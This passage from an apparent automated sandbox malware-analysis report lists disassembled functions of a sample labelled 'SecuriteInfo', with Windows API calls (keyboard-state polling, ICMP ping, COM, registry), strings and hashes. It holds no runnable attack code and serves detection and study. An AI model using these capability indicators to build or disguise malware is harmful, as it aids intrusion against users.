                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
                                      • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                      • API String ID: 323675364-22481851
                                      • Opcode ID: 53dae8ec90fe51cfe9b524fa4ddb24aae94c34f82f5975c85cef14398ba7fda3
                                      • Instruction ID: c2dccc977ae98af9441b4b9b6015b576bc5e2ccd7e01856a95f4611ad0dcf66a
                                      • Opcode Fuzzy Hash: 53dae8ec90fe51cfe9b524fa4ddb24aae94c34f82f5975c85cef14398ba7fda3
                                      • Instruction Fuzzy Hash: 04411576C1162CABCB21EBA8DC95DEEB778FF54350F004129E905A32A0EBB09E44CB51
                                      Function 00933B57 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • VariantInit.OLEAUT32(?), ref: 00933B83
                                      • CoInitialize.OLE32(00000000), ref: 00933BB1
                                      • CoUninitialize.COMBASE ref: 00933BBB
                                      • _wcslen.LIBCMT ref: 00933C54
                                      • GetRunningObjectTable.OLE32(00000000,?), ref: 00933CD8
                                      • SetErrorMode.KERNEL32(00000001,00000029), ref: 00933DFC
                                      • CoGetInstanceFromFile.COMBASE(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00933E35
                                      • CoGetObject.OLE32(?,00000000,0094FBB4,?), ref: 00933E54
                                      • SetErrorMode.KERNEL32(00000000), ref: 00933E67
                                      • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00933EEB
                                      • VariantClear.OLEAUT32(?), ref: 00933EFF
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
                                      • String ID:
                                      • API String ID: 429561992-0
                                      • Opcode ID: d6f3108a7795329c7856d65f5103d61c4fe2608053c6283509cf6166abd253ab
                                      • Instruction ID: ce50639b7f96466d0eb43e4c2d2fd4f62f4cbb76ec78ae9d2a75e7ebb516b196
                                      • Opcode Fuzzy Hash: d6f3108a7795329c7856d65f5103d61c4fe2608053c6283509cf6166abd253ab
                                      • Instruction Fuzzy Hash: 6CC125B56083059FC710DF68C88496BBBE9FF89748F10891DF98A9B250DB71EE05CB52
                                      Function 009279B4 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CoInitialize.OLE32(00000000), ref: 00927A11
                                      • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00927AAD
                                      • SHGetDesktopFolder.SHELL32(?), ref: 00927AC1
                                      • CoCreateInstance.COMBASE(0094FD24,00000000,00000001,00976E7C,?), ref: 00927B0D
                                      • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00927B92
                                      • CoTaskMemFree.COMBASE(?), ref: 00927BEA
                                      • SHBrowseForFolderW.SHELL32(?), ref: 00927C75
                                      • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00927C98
                                      • CoTaskMemFree.COMBASE(00000000), ref: 00927C9F
                                      • CoTaskMemFree.COMBASE(00000000), ref: 00927CF4
                                      • CoUninitialize.COMBASE ref: 00927CFA
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
                                      • String ID:
                                      • API String ID: 2762341140-0
                                      • Opcode ID: 8143721de85c95eb17e0348e5785a4f38b009f58b1a37131fa77fe88e78e6d46
                                      • Instruction ID: 291ea031b9fd18422f300c25c21358444d954034917fbd3b7029494f222d1e48
                                      • Opcode Fuzzy Hash: 8143721de85c95eb17e0348e5785a4f38b009f58b1a37131fa77fe88e78e6d46
                                      • Instruction Fuzzy Hash: 87C12975A04119AFCB14DFA4D884DAEBBF9FF48314B1484A8E416EB361D730EE45CB90
                                      Function 00945352 Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00945439
                                      • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0094544A
                                      • CharNextW.USER32(00000158), ref: 00945479
                                      • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 009454BA
                                      • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 009454D0
                                      • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 009454E1
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend$CharNext
                                      • String ID:
                                      • API String ID: 1350042424-0
                                      • Opcode ID: 91d166fa2f8ca8486034bc460b77bee27bd62b77db8f59d608ee457563f6bf67
                                      • Instruction ID: b174443b79152ab07dee330298b335a846c7f68865b0122bd99d430426a1294c
                                      • Opcode Fuzzy Hash: 91d166fa2f8ca8486034bc460b77bee27bd62b77db8f59d608ee457563f6bf67
                                      • Instruction Fuzzy Hash: AD61CB75904609EFDF108FD4CC84EFE7BB8EB06754F128109F925AB2A2D7748A41DB60
                                      Function 0090F971 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 0090F998
                                      • SafeArrayAllocData.OLEAUT32(?), ref: 0090F9F1
                                      • VariantInit.OLEAUT32(?), ref: 0090FA03
                                      • SafeArrayAccessData.OLEAUT32(?,?), ref: 0090FA23
                                      • VariantCopy.OLEAUT32(?,?), ref: 0090FA76
                                      • SafeArrayUnaccessData.OLEAUT32(?), ref: 0090FA8A
                                      • VariantClear.OLEAUT32(?), ref: 0090FA9F
                                      • SafeArrayDestroyData.OLEAUT32(?), ref: 0090FAAC
                                      • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0090FAB5
                                      • VariantClear.OLEAUT32(?), ref: 0090FAC7
                                      • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0090FAD2
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                      • String ID:
                                      • API String ID: 2706829360-0
                                      • Opcode ID: 992d4a59affa72b6da42ce74ec3ef8a9ce9a7aa0237b9630453db720227ca831
                                      • Instruction ID: 0be209edf06dd584a1d69150d1c0f8c2f1d79885135aa9083e9f3dca46d6dd43
                                      • Opcode Fuzzy Hash: 992d4a59affa72b6da42ce74ec3ef8a9ce9a7aa0237b9630453db720227ca831
                                      • Instruction Fuzzy Hash: D9418175A00219EFCB10DFA8C854EED7BB9FF48344F008029E916E76A1D734AA45CBA0
                                      Function 00919B97 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetKeyboardState.USER32(?), ref: 00919BBF
                                      • GetAsyncKeyState.USER32(000000A0), ref: 00919C40
                                      • GetKeyState.USER32(000000A0), ref: 00919C5B
                                      • GetAsyncKeyState.USER32(000000A1), ref: 00919C75
                                      • GetKeyState.USER32(000000A1), ref: 00919C8A
                                      • GetAsyncKeyState.USER32(00000011), ref: 00919CA2
                                      • GetKeyState.USER32(00000011), ref: 00919CB4
                                      • GetAsyncKeyState.USER32(00000012), ref: 00919CCC
                                      • GetKeyState.USER32(00000012), ref: 00919CDE
                                      • GetAsyncKeyState.USER32(0000005B), ref: 00919CF6
                                      • GetKeyState.USER32(0000005B), ref: 00919D08
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: State$Async$Keyboard
                                      • String ID:
                                      • API String ID: 541375521-0
                                      • Opcode ID: 0f7d3d7fdb9449eb377e8844783918134112258e939878d1f8516237c2eaa9f6
                                      • Instruction ID: 05e5f6c6baab55be990d8feddf9b6168b44ce8f531a82c79f8419a112b129f72
                                      • Opcode Fuzzy Hash: 0f7d3d7fdb9449eb377e8844783918134112258e939878d1f8516237c2eaa9f6
                                      • Instruction Fuzzy Hash: E941E9787087CE6DFF30976494247F5BEE86F12344F04805AD5CB566C2EBA499C4C7A2
                                      Function 00914179 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 239COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetForegroundWindow.USER32(0094D0D0,?,?), ref: 00914212
                                        • Part of subcall function 00913F58: CharUpperBuffW.USER32(?,?,00000000,0094D0D0,?,?,00000001,?,?,00914286,?,?,?,?,00000000,0094D0D0), ref: 00913FE5
                                      • _wcslen.LIBCMT ref: 00914296
                                      • _wcslen.LIBCMT ref: 009142F0
                                      • _wcslen.LIBCMT ref: 00914337
                                      • _wcslen.LIBCMT ref: 0091437B
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$BuffCharForegroundUpperWindow
                                      • String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
                                      • API String ID: 1486467469-1994484594
                                      • Opcode ID: 2bdf35f4040b6d71987746cdcf2c9b13fbe217365290c9273f8e2d90f0e92e32
                                      • Instruction ID: 4b3fc485f8b9f68d0b94756c98e415e265b36a0615cc9ba8ca62c8fbf6b231b0
                                      • Opcode Fuzzy Hash: 2bdf35f4040b6d71987746cdcf2c9b13fbe217365290c9273f8e2d90f0e92e32
                                      • Instruction Fuzzy Hash: 9581F432B043069BCB14DF78C9809EAB7E8FF9D314B504A29F466D7280EB30E985C791
                                      Function 00930482 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • WSAStartup.WS2_32(00000101,?), ref: 009304E3
                                      • inet_addr.WS2_32(?), ref: 00930543
                                      • gethostbyname.WS2_32(?), ref: 0093054F
                                      • IcmpCreateFile.IPHLPAPI ref: 0093055D
                                      • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 009305ED
                                      • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 0093060C
                                      • IcmpCloseHandle.IPHLPAPI(?), ref: 009306E0
                                      • WSACleanup.WS2_32 ref: 009306E6
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                      • String ID: Ping
                                      • API String ID: 1028309954-2246546115
                                      • Opcode ID: 8bfea51b74bb7a94f76311d43a85953a406785a935cda4aca49e34e18c168dd2
                                      • Instruction ID: c438a2cff4533f8c91af738ff6514480213ba570756e9cf00897da489f0a1ef8
                                      • Opcode Fuzzy Hash: 8bfea51b74bb7a94f76311d43a85953a406785a935cda4aca49e34e18c168dd2
                                      • Instruction Fuzzy Hash: 4C918E756082019FD720DF19C499F16BBE4FF85318F1486A9F4698B6A2C734ED45CF82
                                      Function 00938BFA Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$BuffCharLower
                                      • String ID: cdecl$none$stdcall$winapi
                                      • API String ID: 707087890-567219261
                                      • Opcode ID: 05d993a6a4f6f4b69bfb5f0b5ca5bcd28a9ebbf3f31c2dc72b013f392916d9da
                                      • Instruction ID: aac813de6c19d05b132fe9b70fe6197b5b54bbfbe7e67a5633c11970bf87850e
                                      • Opcode Fuzzy Hash: 05d993a6a4f6f4b69bfb5f0b5ca5bcd28a9ebbf3f31c2dc72b013f392916d9da
                                      • Instruction Fuzzy Hash: 4F518E32A016169BCB14DFACC9508BEB7A9FF65320B204629F866E72C4DF35DD41CB91
                                      Function 00933653 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CoInitialize.OLE32 ref: 0093369B
                                      • CoUninitialize.COMBASE ref: 009336A6
                                      • CoCreateInstance.COMBASE(?,00000000,00000017,0094FB94,?), ref: 00933700
                                      • IIDFromString.COMBASE(?,?), ref: 00933773
                                      • VariantInit.OLEAUT32(?), ref: 0093380B
                                      • VariantClear.OLEAUT32(?), ref: 0093385D
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
                                      • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                      • API String ID: 636576611-1287834457
                                      • Opcode ID: 7c3a99e0ba049f11b76d76df72de6e6558b538f94e1beec86a633ae62185f5e8
                                      • Instruction ID: 1414f0309aadf26d08f5bcd95d027aa5c300667c85a4e60f14b7b70424cc159f
                                      • Opcode Fuzzy Hash: 7c3a99e0ba049f11b76d76df72de6e6558b538f94e1beec86a633ae62185f5e8
                                      • Instruction Fuzzy Hash: 5B617DB1648301AFD310DF54C849F6ABBE8EF89714F108919F9869B291D770EE44CF92
                                      Function 00914543 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 160COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen
                                      • String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
                                      • API String ID: 176396367-1994484594
                                      • Opcode ID: 812ef838b6cdedfbb64b16c82428da07130b97aa817b68dd2262f7053a71e9bc
                                      • Instruction ID: 700802620864ed120b8fc7355df6127e5049eb7054ed32291159d2841266ef62
                                      • Opcode Fuzzy Hash: 812ef838b6cdedfbb64b16c82428da07130b97aa817b68dd2262f7053a71e9bc
                                      • Instruction Fuzzy Hash: 28512532B003268B8B248E69CA805BB73D9FF9D754B644539F495D7684FB30DDC68391
                                      Function 009232A6 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadStringW.USER32(00000066,?,00000FFF), ref: 009232ED
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                      • LoadStringW.USER32(00000072,?,00000FFF,?), ref: 0092330E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: LoadString$_wcslen
                                      • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
                                      • API String ID: 4099089115-3080491070
                                      • Opcode ID: 31e183674d8fbca1cb36774bde8b79cb645f686b6e3601f3944cb4b1070ded7f
                                      • Instruction ID: f44583db72ef30430cfc5afe317b4b30d6436e8f44c5f85981614bade4f00977
                                      • Opcode Fuzzy Hash: 31e183674d8fbca1cb36774bde8b79cb645f686b6e3601f3944cb4b1070ded7f
                                      • Instruction Fuzzy Hash: 9A51AC32900619AACF14EBE8CD42EEEB378FF14304F108065B505B21A2EB756F49DF62
                                      Function 0091B4E6 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$BuffCharUpper
                                      • String ID: APPEND$EXISTS$KEYS$REMOVE
                                      • API String ID: 1256254125-769500911
                                      • Opcode ID: 5ace96f70679145b10814b7f4cc630ac16792786db6cd339e2bd054a4b1a737b
                                      • Instruction ID: 7aed82b9652ae5ab4001f18a587feee87ae62be6e98ca170a3d62e49a123aecd
                                      • Opcode Fuzzy Hash: 5ace96f70679145b10814b7f4cc630ac16792786db6cd339e2bd054a4b1a737b
                                      • Instruction Fuzzy Hash: 5E41B632B0012A9ACB105F7D88905FE77ABBF717A4B244629F465D7284EB35CDC1D750
                                      Function 009252B1 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON
                                      Download Yara Rule
                                      APIs
                                      • SetErrorMode.KERNEL32(00000001), ref: 009252BE
                                      • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00925334
                                      • GetLastError.KERNEL32 ref: 0092533E
                                      • SetErrorMode.KERNEL32(00000000,READY), ref: 009253C5
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Error$Mode$DiskFreeLastSpace
